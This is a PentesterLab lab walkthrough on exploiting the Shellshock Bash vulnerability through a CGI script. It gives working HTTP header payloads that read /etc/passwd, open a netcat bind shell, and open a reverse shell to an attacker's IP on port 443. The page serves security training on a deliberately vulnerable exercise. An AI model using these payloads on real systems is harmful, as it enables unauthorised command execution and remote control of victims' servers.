CVE-2014-6271/Shellshock

This exercise covers the exploitation of a Bash vulnerability through a CGI.

Free
Tier
Easy
< 1 Hr.
8441
White Badge


Introduction

This course details the exploitation of the vulnerability CVE-2014-6271. This vulnerability impacts the Bourne Again Shell "Bash". Bash is not usually available through a web application but can be indirectly exposed through a Common Gateway Interface "CGI".

Fingerprinting

By visiting the application with a proxy (like Burp Suite or OWASP Zap...), we can detect that multiple URL are accessed when the page is loaded:

List of URLs loaded

To exploit "Shellshock", we need to find a way to "talk" to Bash. This implies finding a CGI that will use Bash. CGIs commonly use Python or Perl but it's not uncommon to find (on old servers), CGI written in Shell or even C.

How CGIs work?

When you call a CGI, the web server (Apache here) will start a new process and run the CGI. Here it will start a Bash process and run the CGI script.

Apache needs to pass information to the CGI script. To do so, it uses environment variables. Environment variables are available inside the CGI script. It allows Apache to easily pass every header (amongst other information) to the CGI. If you have an HTTP header named Blah in your request, you will have an environment variable named HTTP_BLAH available in your CGI.

The vulnerability

Here, we are going to focus on the first version of the vulnerability but many more vulnerabilities in the same subpart of Bash have been found since: CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187...

The source of the issue is that Bash can have an internal function declaration in its environment variable. The first version of the vulnerability is related to the ability to run arbitrary commands after a function declaration.

First, we need to declare that the environment variable is a function using (). Then we will add an empty body for the function. Finally, we can start adding the command we want to run after the function declaration. More details can be found in the following email on oss-sec.

If you remember what we said before, Apache uses environment variables to pass headers to the CGI. Since it's a Bash based CGI, we will be able to run arbitrary commands by declaring an empty function and add a command after the declaration.

Exploitation

This vulnerability can be exploited using a proxy with a repeater mode (to be faster) or using netcat.

Multiple payloads can be used depending on what you want to achieve. You can start by reading arbitrary files by using the following payload:

$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

This payload will read the content of the file /etc/passwd and echo it in the response.

The following part of the payload () { :;}; is used to create an empty function. Then the command one wish to execute can be added.

Bind shell

If you want to run commands, the easiest way is to bind a shell. Basically you will use netcat (or nc) to listen on a port and redirect the input and the output to /bin/sh.

$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

If the connection starts hanging, it's a really good sign, the CGI is waiting for you to connect. You can then connect to the bound port using:

$ nc vulnerable 9999
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)

Bind shells suffer from a huge limitation: it's likely that a firewall between you and your victim will prevent you from connecting to the port you just bound. To bypass this, we are going to get the server to connect back to us.

Reverse Shell

We want the server to connect back to us. To do so, we are first going to bind a port on our system. We want a port that the server is likely to have access to, the most common are 21 (FTP), 53 (DNS), 123 (NTP), 80 (HTTP) and 443 (HTTPs) as they are probably used to keep the system up-to-date and to perform every day operations.

We are going to bind the port 443 (you will need to run this command as root or using sudo) using the following command:

# nc -l -p 443

Now, we just need to adapt our payload to get the server to connect back to us on port 443:

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80

By going back to our initial netcat, we can now type commands locally and they will be ran on the compromised system:

# nc -l -p 443
id
uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
Running a single command

If you are working on the online version, you will only need to run one command /usr/local/bin/score [UUID]. After you run the command, the response from the CGI to the web server will not contain two empty lines and will cause the server to send back an HTTP 500 error back to you. To make sure the attack was successful, you need to check if the exercise is marked as solved.

Conclusion

This exercise showed you how to manually detect and exploit ShellShock to gain command execution. This kind of vulnerabilities is really interesting and often stays undetected for a long time as it's located deep inside the interaction between components.

I hope you enjoyed learning with PentesterLab.